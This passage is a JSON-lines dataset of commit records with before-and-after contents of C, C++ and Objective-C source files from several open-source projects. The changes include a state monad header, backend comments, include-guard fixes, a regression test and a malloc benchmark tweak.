{"commit":"4dd1625af301b0fe78c062559b878e944d57448f","old_file":"functional\/state.h","new_file":"functional\/state.h","old_contents":"","new_contents":"\/*!\n  \\file state.h\n  \\brief The definition and its controls for a state monad.\n *\/\n#ifndef FUNCTIONAL_STATE_H_\n#define FUNCTIONAL_STATE_H_\n\n#include <functional>\n#include <type_traits>\n#include <utility>\n\nnamespace functional {\n\ntemplate <typename S, typename T>\nusing State = std::function<std::pair<T, S>(S)>;\n\ntemplate <typename T, typename S, typename F>\nconstexpr functional::State<S, T> make_state(F f)\n  { return functional::State<S, T>(f); }\n\ntemplate <typename T, typename S, typename F>\nconstexpr typename std::result_of<F(T)>::type bind(\n  functional::State<S, T> state, F f\n) {\n  return typename std::result_of<F(T)>::type(\n    [state, f](S s) {\n      auto new_state = state(std::move(s));\n      return f(std::move(new_state.first))(std::move(new_state.second));\n    }\n  );\n}\n\ntemplate <typename T, typename S, typename F, typename... Args>\nconstexpr typename std::result_of<F(T, Args...)>::type bind(\n  functional::State<S, T> state, F f, Args&&... args\n) {\n  return typename std::result_of<F(T, Args...)>::type(\n    [&, state, f](S s) {\n      auto g = std::bind(f, std::placeholders::_1, std::forward<Args>(args)...);\n      auto new_state = state(std::move(s));\n      return g(std::move(new_state.first))(std::move(new_state.second));\n    }\n  );\n}\n\ntemplate <typename T, typename S, typename F>\nconstexpr auto bind_void(functional::State<S, T> state, F f) -> decltype(f()) {\n  return decltype(f())(\n    [state, f](S s) {\n      auto new_state = state(std::move(s));\n      return f()(std::move(new_state.second));\n    }\n  );\n}\n\ntemplate <typename T, typename S, typename F, typename... Args>\nconstexpr auto bind_void(\n  functional::State<S, T> state, F f, Args&&... args\n) -> decltype(f(args...)) {\n  return decltype(f(args...))(\n    [&, state, f](S s) {\n      auto g = std::bind(f, std::forward<Args>(args)...);\n      auto new_state = state(std::move(s));\n      return g()(std::move(new_state.second));\n    }\n  );\n}\n\ntemplate <typename T, typename S, typename F>\nconstexpr functional::State<S, T> fmap(functional::State<S, T> state, F f) {\n  return functional::make_state<T, S>(\n    [state, f](S s) {\n      auto new_state = state(std::move(s));\n      return std::make_pair(\n        std::move(f(new_state.first)), std::move(new_state.second)\n      );\n    }\n  );\n}\n\n} \/\/ namespace functional \n\n#endif\n\n","subject":"Add functional::State and its controls.","message":"Add functional::State and its controls.\n","lang":"C","license":"mit","repos":"RATATATO\/functional"}
{"commit":"00f536dc1c7711d510e5e88943a39b619ec597f1","old_file":"xchainer\/backend.h","new_file":"xchainer\/backend.h","old_contents":"#pragma once\n\n#include <memory>\n\n#include \"xchainer\/array.h\"\n#include \"xchainer\/device.h\"\n#include \"xchainer\/scalar.h\"\n\nnamespace xchainer {\n\nclass Backend {\npublic:\n    virtual ~Backend() = default;\n\n    virtual std::shared_ptr<void> Allocate(const Device& device, size_t bytesize) = 0;\n    virtual void MemoryCopy(void* dst_ptr, const void* src_ptr, size_t bytesize) = 0;\n    virtual std::shared_ptr<void> FromBuffer(const Device& device, const std::shared_ptr<void>& src_ptr, size_t bytesize) = 0;\n\n    virtual void Fill(Array& out, Scalar value) = 0;\n\n    virtual void Add(const Array& lhs, const Array& rhs, Array& out) = 0;\n    virtual void Mul(const Array& lhs, const Array& rhs, Array& out) = 0;\n\n    virtual void Synchronize() = 0;\n};\n\n}  \/\/ namespace xchainer\n","new_contents":"#pragma once\n\n#include <memory>\n\n#include \"xchainer\/array.h\"\n#include \"xchainer\/device.h\"\n#include \"xchainer\/scalar.h\"\n\nnamespace xchainer {\n\nclass Backend {\npublic:\n    virtual ~Backend() = default;\n\n    \/\/ Allocates a memory chunk on the specified device.\n    virtual std::shared_ptr<void> Allocate(const Device& device, size_t bytesize) = 0;\n\n    \/\/ Copies the data between two memory chunks.\n    virtual void MemoryCopy(void* dst_ptr, const void* src_ptr, size_t bytesize) = 0;\n\n    \/\/ Creates a data buffer filled with the specified data on the specified device.\n    \/\/\n    \/\/ It may allocate a new memory or return an alias.\n    \/\/ src_ptr is guaranteed to reside in the main RAM.\n    virtual std::shared_ptr<void> FromBuffer(const Device& device, const std::shared_ptr<void>& src_ptr, size_t bytesize) = 0;\n\n    virtual void Fill(Array& out, Scalar value) = 0;\n\n    virtual void Add(const Array& lhs, const Array& rhs, Array& out) = 0;\n    virtual void Mul(const Array& lhs, const Array& rhs, Array& out) = 0;\n\n    virtual void Synchronize() = 0;\n};\n\n}  \/\/ namespace xchainer\n","subject":"Comment on Backend member functions","message":"Comment on Backend member functions\n","lang":"C","license":"mit","repos":"jnishi\/chainer,jnishi\/chainer,hvy\/chainer,pfnet\/chainer,niboshi\/chainer,okuta\/chainer,ktnyt\/chainer,wkentaro\/chainer,keisuke-umezawa\/chainer,keisuke-umezawa\/chainer,okuta\/chainer,okuta\/chainer,tkerola\/chainer,okuta\/chainer,ktnyt\/chainer,hvy\/chainer,hvy\/chainer,wkentaro\/chainer,ktnyt\/chainer,hvy\/chainer,wkentaro\/chainer,chainer\/chainer,wkentaro\/chainer,niboshi\/chainer,ktnyt\/chainer,chainer\/chainer,jnishi\/chainer,jnishi\/chainer,keisuke-umezawa\/chainer,keisuke-umezawa\/chainer,chainer\/chainer,niboshi\/chainer,chainer\/chainer,niboshi\/chainer"}
{"commit":"b5348f8e51840d03037538e41ef2efd7a59766b5","old_file":"Source\/Main\/xcode_SourceFileDefinition.h","new_file":"Source\/Main\/xcode_SourceFileDefinition.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  EXPANZ\n\/\/  Copyright 2008-2011 EXPANZ\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: Expanz permits you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"xcode_AbstractDefinition.h\"\n#import \"XcodeSourceFileType.h\"\n\n@interface xcode_SourceFileDefinition : xcode_AbstractDefinition;\n\n@property(nonatomic, strong, readonly) NSString* sourceFileName;\n@property(nonatomic, strong, readonly) NSData* data;\n@property(nonatomic, readonly) XcodeSourceFileType type;\n\n+ (xcode_SourceFileDefinition*) sourceDefinitionWithName:(NSString*)name text:(NSString*)text\n        type:(XcodeSourceFileType)type;\n\n+ (xcode_SourceFileDefinition*) sourceDefinitionWithName:(NSString*)name data:(NSData*)data\n        type:(XcodeSourceFileType)type;\n\n- (id) initWithName:(NSString*)name text:(NSString*)text type:(XcodeSourceFileType)type;\n\n- (id) initWithName:(NSString*)name data:(NSData*)data type:(XcodeSourceFileType)type;\n\n\n@end\n\/* ================================================================================================================== *\/\n@compatibility_alias SourceFileDefinition xcode_SourceFileDefinition;","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  EXPANZ\n\/\/  Copyright 2008-2011 EXPANZ\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: Expanz permits you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"xcode_AbstractDefinition.h\"\n#import \"XcodeSourceFileType.h\"\n\n@interface xcode_SourceFileDefinition : xcode_AbstractDefinition {\n\n    NSString* _sourceFileName;\n    XcodeSourceFileType _type;\n    NSData* _data;\n\n}\n\n@property(nonatomic, strong, readonly) NSString* sourceFileName;\n@property(nonatomic, strong, readonly) NSData* data;\n@property(nonatomic, readonly) XcodeSourceFileType type;\n\n+ (xcode_SourceFileDefinition*) sourceDefinitionWithName:(NSString*)name text:(NSString*)text\n        type:(XcodeSourceFileType)type;\n\n+ (xcode_SourceFileDefinition*) sourceDefinitionWithName:(NSString*)name data:(NSData*)data\n        type:(XcodeSourceFileType)type;\n\n- (id) initWithName:(NSString*)name text:(NSString*)text type:(XcodeSourceFileType)type;\n\n- (id) initWithName:(NSString*)name data:(NSData*)data type:(XcodeSourceFileType)type;\n\n\n@end\n\/* ================================================================================================================== *\/\n@compatibility_alias SourceFileDefinition xcode_SourceFileDefinition;","subject":"Fix to allow compile under 32 bit.","message":"Fix to allow compile under 32 bit.\n","lang":"C","license":"apache-2.0","repos":"khanhtbh\/XcodeEditor,appsquickly\/XcodeEditor,JoelGerboreLaser\/XcodeEditor,appsquickly\/XcodeEditor,JoelGerboreLaser\/XcodeEditor,iosdevzone\/XcodeEditor,cezheng\/XcodeEditor,andyvand\/XcodeEditor,service2media\/XcodeEditor,appsquickly\/XcodeEditor,cezheng\/XcodeEditor,khanhtbh\/XcodeEditor"}
{"commit":"915db9a6c7ec08544e52923c380c0fc3072d0bfb","old_file":"tests\/regression\/13-privatized\/55-widen-dependent-local.c","new_file":"tests\/regression\/13-privatized\/55-widen-dependent-local.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval\n#include <pthread.h>\n#include <assert.h>\n\n\/\/ global priv succeeds\n\/\/ global-history fails due to [1,+inf] widen ([1,+inf] join [0,+inf]) -> [-inf,+inf]\n\/\/ sensitive to eval and widen order!\n\nint g = 0;\nint limit; \/\/ unknown\n\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *worker(void *arg )\n{\n  \/\/ just for going to multithreaded mode\n  return NULL;\n}\n\nint put() {\n  pthread_mutex_lock(&A);\n  while (g >= limit) { \/\/ problematic widen\n\n  }\n  assert(g >= 0);\n  g++;\n  pthread_mutex_unlock(&A);\n}\n\nint main(int argc , char **argv )\n{\n  pthread_t tid;\n  pthread_create(& tid, NULL, & worker, NULL);\n\n  int r;\n  limit = r; \/\/ only problematic if limit unknown\n\n  while (1) {\n    \/\/ only problematic if not inlined\n    put();\n  }\n  return 0;\n}\n","subject":"Add regression tests where global is more precise than global-history due to non-side widen order","message":"Add regression tests where global is more precise than global-history due to non-side widen order\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"82b7274cf268372802ee66fb8ce9a11a766cf778","old_file":"include\/Map.h","new_file":"include\/Map.h","old_contents":"#ifndef LAND_H\n#define LAND_H\n\n#include <string>\n#include \"Plant.h\"\n\nclass Land\n{\n\tpublic:\n\t\t~Land();\n\t\tbool put(Plant & plant);\n\t\tbool getStood()const{return isStood_;}\n\t\tPlant & getPlant() { return *plant_; }\n\t\tconst Plant & getPlant() const { return *plant_; }\n\n\tprivate:\n\t\tPlant * plant_ = nullptr;\n\t\tbool isStood_ = false;\n};\n\n#endif \/\/ LAND_H\n\n#ifndef MAP_H\n#define MAP_H\n\n#include <vector>\n\nclass Map\n{\n\tpublic:\n\t\t\/\/ with this constructor, you could get a map with [land_num] empty land\n\t\tMap(int land_num);\n\n\t\tLand operator[] (int i) { return lands_[i]; }\n\t\tconst Land operator[] (int i) const { return lands_[i]; }\n\n\t\tint size() { return lands_.size(); }\n\t\tbool put(Plant & plant, int position) { return lands_[position].put(plant); }\n\n\tprivate:\n\t\tconstexpr static int max_land_num = 10;\n\t\tstd::vector<Land> lands_;\n};\n\n#endif \/\/ MAP_H\n","new_contents":"#ifndef LAND_H\n#define LAND_H\n\n#include <string>\n#include \"Plant.h\"\n\nclass Land\n{\n\tpublic:\n\t\t~Land();\n\t\tbool put(Plant & plant);\n\t\tbool getStood()const{return isStood_;}\n\t\tPlant * getPlant() { return plant_; }\n\t\tconst Plant * getPlant() const { return plant_; }\n\n\tprivate:\n\t\tPlant * plant_ = nullptr;\n\t\tbool isStood_ = false;\n};\n\n#endif \/\/ LAND_H\n\n#ifndef MAP_H\n#define MAP_H\n\n#include <vector>\n\nclass Map\n{\n\tpublic:\n\t\t\/\/ with this constructor, you could get a map with [land_num] empty land\n\t\tMap(int land_num);\n\n\t\tLand operator[] (int i) { return lands_[i]; }\n\t\tconst Land operator[] (int i) const { return lands_[i]; }\n\n\t\tint size() { return lands_.size(); }\n\t\tbool put(Plant & plant, int position) { return lands_[position].put(plant); }\n\n\tprivate:\n\t\tconstexpr static int max_land_num = 10;\n\t\tstd::vector<Land> lands_;\n};\n\n#endif \/\/ MAP_H\n","subject":"Make Land getPlant return pointer","message":"Make Land getPlant return pointer\n","lang":"C","license":"mit","repos":"wi1d5ky\/AP-Team-Project"}
{"commit":"1c60ea6ad60006299a47fd5fe4c1be0f670a04c0","old_file":"src\/python\/helpers\/python_wrap_vil_smart_ptr.h","new_file":"src\/python\/helpers\/python_wrap_vil_smart_ptr.h","old_contents":"","new_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PYTHON_HELPERS_PYTHON_WRAP_VIL_SMART_PTR_H\n#define VISTK_PYTHON_HELPERS_PYTHON_WRAP_VIL_SMART_PTR_H\n\n#include <boost\/python\/pointee.hpp>\n#include <boost\/get_pointer.hpp>\n\n#include <vil\/vil_smart_ptr.h>\n\nnamespace boost\n{\n\nnamespace python\n{\n\ntemplate <typename T>\ninline\nT*\nget_pointer(vil_smart_ptr<T> const& p)\n{\n  return p.ptr();\n}\n\ntemplate <typename T>\nstruct pointee<vil_smart_ptr<T> >\n{\n  typedef T type;\n};\n\n\/\/ Don't hide other get_pointer instances.\nusing boost::python::get_pointer;\nusing boost::get_pointer;\n\n}\n\n}\n\n#endif \/\/ VISTK_PYTHON_HELPERS_PYTHON_WRAP_VIL_SMART_PTR_H\n","subject":"Add a pointer wrapper for vil_smart_ptr","message":"Add a pointer wrapper for vil_smart_ptr\n","lang":"C","license":"bsd-3-clause","repos":"linus-sherrill\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit"}
{"commit":"41021611b9bccbc524ababfab256fe7d7f28cf1c","old_file":"src\/lib\/ems_server.c","new_file":"src\/lib\/ems_server.c","old_contents":"#ifdef HAVE_CONFIG_H\n# include <config.h>\n#endif\n\n#include <Azy.h>\n\n#include \"EMS_Config.azy_server.h\"\n\n\/*============================================================================*\n *                                  Local                                     *\n *============================================================================*\/\n\n\/*============================================================================*\n *                                 Global                                     *\n *============================================================================*\/\n\nvoid ems_server_init(void)\n{\n   Azy_Server *serv;\n   Azy_Server_Module_Def **mods;\n\n   azy_init();\n   \/\/Define the list of module used by the server.\n   Azy_Server_Module_Def *modules[] = {\n     EMS_Config_module_def(),\n     NULL\n   };\n\n   serv = azy_server_new(EINA_FALSE);\n   azy_server_addr_set(serv, \"0.0.0.0\");\n   azy_server_port_set(serv, 2000);\n   for (mods = modules; mods && *mods; mods++)\n     {\n        if (!azy_server_module_add(serv, *mods))\n          ERR(\"Unable to create server\\n\");\n     }\n   INF(\"Start Azy server\");\n   azy_server_start(serv);\n}\n\n\/*============================================================================*\n *                                   API                                      *\n *============================================================================*\/\n","new_contents":"#ifdef HAVE_CONFIG_H\n# include <config.h>\n#endif\n\n#include <Azy.h>\n\n#include \"EMS_Config.azy_server.h\"\n\n\n\/*============================================================================*\n *                                  Local                                     *\n *============================================================================*\/\nAzy_Server *_serv;\n\n\/*============================================================================*\n *                                 Global                                     *\n *============================================================================*\/\n\nvoid ems_server_init(void)\n{\n\n   Azy_Server_Module_Def **mods;\n\n   azy_init();\n   \/\/Define the list of module used by the server.\n   Azy_Server_Module_Def *modules[] = {\n     EMS_Config_module_def(),\n     NULL\n   };\n\n   _serv = azy_server_new(EINA_FALSE);\n   azy_server_addr_set(_serv, \"0.0.0.0\");\n   azy_server_port_set(_serv, ems_config->port);\n   for (mods = modules; mods && *mods; mods++)\n     {\n        if (!azy_server_module_add(_serv, *mods))\n          ERR(\"Unable to create server\\n\");\n     }\n}\n\nvoid ems_server_run(void)\n{\n   INF(\"Start Azy server\");\n   azy_server_run(_serv);\n}\n\n\/*============================================================================*\n *                                   API                                      *\n *============================================================================*\/\n","subject":"Use azy_server_run as a replacement for ecore_main_loop_begin","message":"Use azy_server_run as a replacement for ecore_main_loop_begin\n","lang":"C","license":"bsd-2-clause","repos":"enna-project\/Enna-Media-Server,raoulh\/Enna-Media-Server,enna-project\/Enna-Media-Server,raoulh\/Enna-Media-Server,enna-project\/Enna-Media-Server,enna-project\/Enna-Media-Server,raoulh\/Enna-Media-Server,enna-project\/Enna-Media-Server,raoulh\/Enna-Media-Server,raoulh\/Enna-Media-Server"}
{"commit":"a59e4b3c4135a31f15c8cfd4b48ea32c1060a505","old_file":"react\/React.h","new_file":"react\/React.h","old_contents":"\/\/\n\/\/ react-objc - a library for functional-reactive-like programming\n\/\/ https:\/\/github.com\/tconkling\/react-objc\/blob\/master\/LICENSE\n\n#import \"RAConnection.h\"\n#import \"RAConnectionGroup.h\"\n#import \"RABoolSignal.h\"\n#import \"RABoolValue.h\"\n#import \"RADoubleSignal.h\"\n#import \"RADoubleValue.h\"\n#import \"RAFloatSignal.h\"\n#import \"RAFloatValue.h\"\n#import \"RAIntSignal.h\"\n#import \"RAIntValue.h\"\n#import \"RAObjectSignal.h\"\n#import \"RAObjectValue.h\"\n#import \"RAUnitSignal.h\"\n#import \"RAFuture.h\"\n#import \"RAPromise.h\"\n#import \"RAMultiFailureError.h\"\n#import \"RATry.h\"\n#import \"RAMappedSignal.h\"\n","new_contents":"\/\/\n\/\/ react-objc - a library for functional-reactive-like programming\n\/\/ https:\/\/github.com\/tconkling\/react-objc\/blob\/master\/LICENSE\n\n#import \"RAConnection.h\"\n#import \"RAConnectionGroup.h\"\n#import \"RABoolSignal.h\"\n#import \"RABoolValue.h\"\n#import \"RADoubleSignal.h\"\n#import \"RADoubleValue.h\"\n#import \"RAFloatSignal.h\"\n#import \"RAFloatValue.h\"\n#import \"RAIntSignal.h\"\n#import \"RAIntValue.h\"\n#import \"RAObjectSignal.h\"\n#import \"RAObjectValue.h\"\n#import \"RAStringSignal.h\"\n#import \"RAStringValue.h\"\n#import \"RAUnitSignal.h\"\n#import \"RAFuture.h\"\n#import \"RAPromise.h\"\n#import \"RAMultiFailureError.h\"\n#import \"RATry.h\"\n#import \"RAMappedSignal.h\"\n","subject":"Add RAStringSignal and RAStringValue to header","message":"Add RAStringSignal and RAStringValue to header\n","lang":"C","license":"bsd-3-clause","repos":"tconkling\/react-objc"}
{"commit":"774d58de16c4a105f4555fd5616a8077cae6c808","old_file":"Assist\/InputOutput\/rootPath.h","new_file":"Assist\/InputOutput\/rootPath.h","old_contents":"\/*    \n *    Copyright (c) 2010-2014, Delft University of Technology\n *    Copyright (c) 2010-2014, K. Kumar (me@kartikkumar.com)\n *    All rights reserved.\n *    See http:\/\/bit.ly\/1jern3m for license details.\n *\/\n\n#ifndef ASSIST_INPUT_OUTPUT_H\n#define ASSIST_INPUT_OUTPUT_H\n\n#include <string>\n\nnamespace assist\n{\nnamespace input_output\n{\n\n\/\/! Get root-path for Assist directory.\n\/*!\n * Returns root-path corresponding with root-directory of Assist as a string with\n * trailing slash included.\n * \\return Assist root-path.\n *\/\nstatic inline std::string getAssistRootPath( )\n{\n#ifdef ASSIST_CUSTOM_ROOT_PATH\n    return std::string( ASSIST_CUSTOM_ROOT_PATH );\n#else\n    \/\/ Declare file path string assigned to filePath.\n    \/\/ __FILE__ only gives the absolute path in the header file!\n    std::string filePath_( __FILE__ );\n\n    \/\/ Strip filename from temporary string and return root-path string.\n    return filePath_.substr( 0, filePath_.length( ) -\n                                std::string( \"InputOutput\/rootPath.h\" ).length( ) );\n#endif\n}\n\n} \/\/ namespace input_output\n} \/\/ namespace assist\n\n#endif \/\/ ASSIST_INPUT_OUTPUT_H\n","new_contents":"\/*    \n *    Copyright (c) 2010-2014, Delft University of Technology\n *    Copyright (c) 2010-2014, K. Kumar (me@kartikkumar.com)\n *    All rights reserved.\n *    See http:\/\/bit.ly\/1jern3m for license details.\n *\/\n\n#ifndef ASSIST_ROOT_PATH_H\n#define ASSIST_ROOT_PATH_H\n\n#include <string>\n\nnamespace assist\n{\nnamespace input_output\n{\n\n\/\/! Get root-path for Assist directory.\n\/*!\n * Returns root-path corresponding with root-directory of Assist as a string with\n * trailing slash included.\n * \\return Assist root-path.\n *\/\nstatic inline std::string getAssistRootPath( )\n{\n#ifdef ASSIST_CUSTOM_ROOT_PATH\n    return std::string( ASSIST_CUSTOM_ROOT_PATH );\n#else\n    \/\/ Declare file path string assigned to filePath.\n    \/\/ __FILE__ only gives the absolute path in the header file!\n    std::string filePath_( __FILE__ );\n\n    \/\/ Strip filename from temporary string and return root-path string.\n    return filePath_.substr( 0, filePath_.length( ) -\n                                std::string( \"InputOutput\/rootPath.h\" ).length( ) );\n#endif\n}\n\n} \/\/ namespace input_output\n} \/\/ namespace assist\n\n#endif \/\/ ASSIST_ROOT_PATH_H\n","subject":"Update header include guard for root-path file.","message":"Update header include guard for root-path file.\n","lang":"C","license":"bsd-3-clause","repos":"kartikkumar\/assist,kartikkumar\/assist"}
{"commit":"5e9486e5c6ce931557c1463b381d7f6f03ac9acd","old_file":"c\/src\/ta_data\/ta_adddatasourceparam_priv.h","new_file":"c\/src\/ta_data\/ta_adddatasourceparam_priv.h","old_contents":"#ifndef TA_ADDDATASOURCEPARAM_PRIV_H\n#define TA_ADDDATASOURCEPARAM_PRIV_H\n\n\/* The following is a private copy of the user provided\n * parameters for a TA_AddDataSource call.\n *\n * Code is in 'ta_data_interface.c'\n *\/\ntypedef struct\n{\n  TA_SourceId   id;\n  TA_SourceFlag flags;\n  TA_Period     period;\n\n  TA_String *location;\n  TA_String *info;\n  TA_String *username;\n  TA_String *password;\n  TA_String *category;\n  TA_String *country;\n  TA_String *exchange;\n  TA_String *type;\n  TA_String *symbol;\n  TA_String *name;\n} TA_AddDataSourceParamPriv;\n\n\/* Function to alloc\/free a TA_AddDataSourceParamPriv. *\/\nTA_AddDataSourceParamPriv *TA_AddDataSourceParamPrivAlloc( const TA_AddDataSourceParam *param );\n\nTA_RetCode TA_AddDataSourceParamPrivFree( TA_AddDataSourceParamPriv *toBeFreed );\n\n#endif\n","new_contents":"#ifndef TA_ADDDATASOURCEPARAM_PRIV_H\n#define TA_ADDDATASOURCEPARAM_PRIV_H\n\n\/* The following is a private copy of the user provided\n * parameters for a TA_AddDataSource call.\n *\n * Code is in 'ta_data_interface.c'\n *\/\ntypedef struct\n{\n  TA_SourceId   id;\n  TA_SourceFlag flags;\n  TA_Period     period;\n\n  TA_String *location;\n  TA_String *info;\n  TA_String *username;\n  TA_String *password;\n  TA_String *category;\n  TA_String *country;\n  TA_String *exchange;\n  TA_String *type;\n  TA_String *symbol;\n  TA_String *name;\n} TA_AddDataSourceParamPriv;\n\n#endif\n","subject":"Remove function prototype that are now static in ta_data_interface.c","message":"Remove function prototype that are now static in ta_data_interface.c\n\n\ngit-svn-id: 33305d871a58cfd02b407b81d5206d2a785211eb@618 159cb52c-178a-4f3c-8eb8-d0aff033d058\n","lang":"C","license":"bsd-3-clause","repos":"shamanland\/ta-lib,shamanland\/ta-lib,shamanland\/ta-lib,shamanland\/ta-lib,shamanland\/ta-lib,shamanland\/ta-lib"}
{"commit":"0ccd98dff05616696f78572c46bf055dc244a605","old_file":"test\/FixIt\/fixit-include.c","new_file":"test\/FixIt\/fixit-include.c","old_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -Wall -pedantic -verify %s\r\n\/\/ RUN: cp %s %t\r\n\/\/ RUN: cp %S\/fixit-include.h %T\r\n\/\/ RUN: not %clang_cc1 -fsyntax-only -fixit %t\r\n\/\/ RUN: %clang_cc1 -Wall -pedantic %t\r\n\r\n#include <fixit-include.h> \/\/ expected-error {{'fixit-include.h' file not found with <angled> include; use \"quotes\" instead}}\r\n\r\n#pragma does_not_exist \/\/ expected-warning {{unknown pragma ignored}}\r\n\r\nint main( void ) {\r\n  return 0;\r\n}\r\n","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -Wall -pedantic -verify %s\n\/\/ RUN: cp %s %t\n\/\/ RUN: cp %S\/fixit-include.h %T\n\/\/ RUN: not %clang_cc1 -fsyntax-only -fixit %t\n\/\/ RUN: %clang_cc1 -Wall -pedantic %t\n\n#include <fixit-include.h> \/\/ expected-error {{'fixit-include.h' file not found with <angled> include; use \"quotes\" instead}}\n\n#pragma does_not_exist \/\/ expected-warning {{unknown pragma ignored}}\n\nint main( void ) {\n  return 0;\n}\n","subject":"Remove dos line endings. Please remember to configure your windows SVN clients to default text files to 'eol-native'.","message":"Remove dos line endings. Please remember to configure your windows SVN\nclients to default text files to 'eol-native'.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@160534 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"f78169f840c0a551e90df1c45ef17325263ee95c","old_file":"lab3\/mytests\/tstworst.c","new_file":"lab3\/mytests\/tstworst.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"..\/brk.h\"\n#include <unistd.h>\n#include \"clock.h\"\n\nint main(int argc, char *argv[]) {\n  int nbytes = 5;\n  void **ptrs;\n  long num;\n  long i;\n\n  num = atol(argv[1]);\n\n  ptrs = malloc(sizeof(void*) * num);\n\n  for(i = 0; i < num; i++) {\n    ptrs[i] = malloc(nbytes);\n    malloc(1);\n  }\n\n  for(i = 0; i < num; i++) {\n    free(ptrs[i]);\n  }\n\n  _reset_clock();\n  for(i = 0; i < num; i++) {\n    _resume();\n    ptrs[i] = malloc(nbytes + 1);\n    _pause();\n  }\n\n  _print_elapsed_time();\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"..\/brk.h\"\n#include <unistd.h>\n#include \"clock.h\"\n\n#define MIN_ALLOC (1024)\n#define HEADER_SIZE (16)\n\nint main(int argc, char *argv[]) {\n  void **ptrs;\n  long num;\n  long i;\n\n  int small_malloc = HEADER_SIZE;\n  int medium_malloc = (MIN_ALLOC - 3) * HEADER_SIZE;\n  int large_malloc = (MIN_ALLOC - 1) * HEADER_SIZE;\n\n  num = atol(argv[1]);\n\n  ptrs = malloc(sizeof(void*) * num);\n\n  for(i = 0; i < num; i++) {\n    ptrs[i] = malloc(medium_malloc);\n    malloc(small_malloc);\n  }\n\n  for(i = 0; i < num; i++) {\n    free(ptrs[i]);\n  }\n\n  _reset_clock();\n  for(i = 0; i < num; i++) {\n    _resume();\n    ptrs[i] = malloc(large_malloc);\n    _pause();\n  }\n\n  _print_elapsed_time();\n\n  return 0;\n}\n","subject":"Make worst case actual worst case.","message":"Make worst case actual worst case.\n","lang":"C","license":"mit","repos":"mbark\/os14,mbark\/os14,mbark\/os14"}
{"commit":"f743432d55d26c1c97b20c2895a479318368d5e8","old_file":"libc\/signal\/sigsetops.c","new_file":"libc\/signal\/sigsetops.c","old_contents":"\/* Define the real-function versions of all inline functions\n   defined in signal.h (or bits\/sigset.h).  *\/\n\n#include <features.h>\n\n#define _EXTERN_INLINE\n#ifndef __USE_EXTERN_INLINES\n# define __USE_EXTERN_INLINES\t1\n#endif\n\n#include \"signal.h\"\n","new_contents":"\/* Define the real-function versions of all inline functions\n   defined in signal.h (or bits\/sigset.h).  *\/\n\n#include <features.h>\n\n#define _EXTERN_INLINE\n#ifndef __USE_EXTERN_INLINES\n# define __USE_EXTERN_INLINES\t1\n#endif\n\n#include <signal.h>\n","subject":"Use <> instead of \\\"\\\"","message":"Use <> instead of 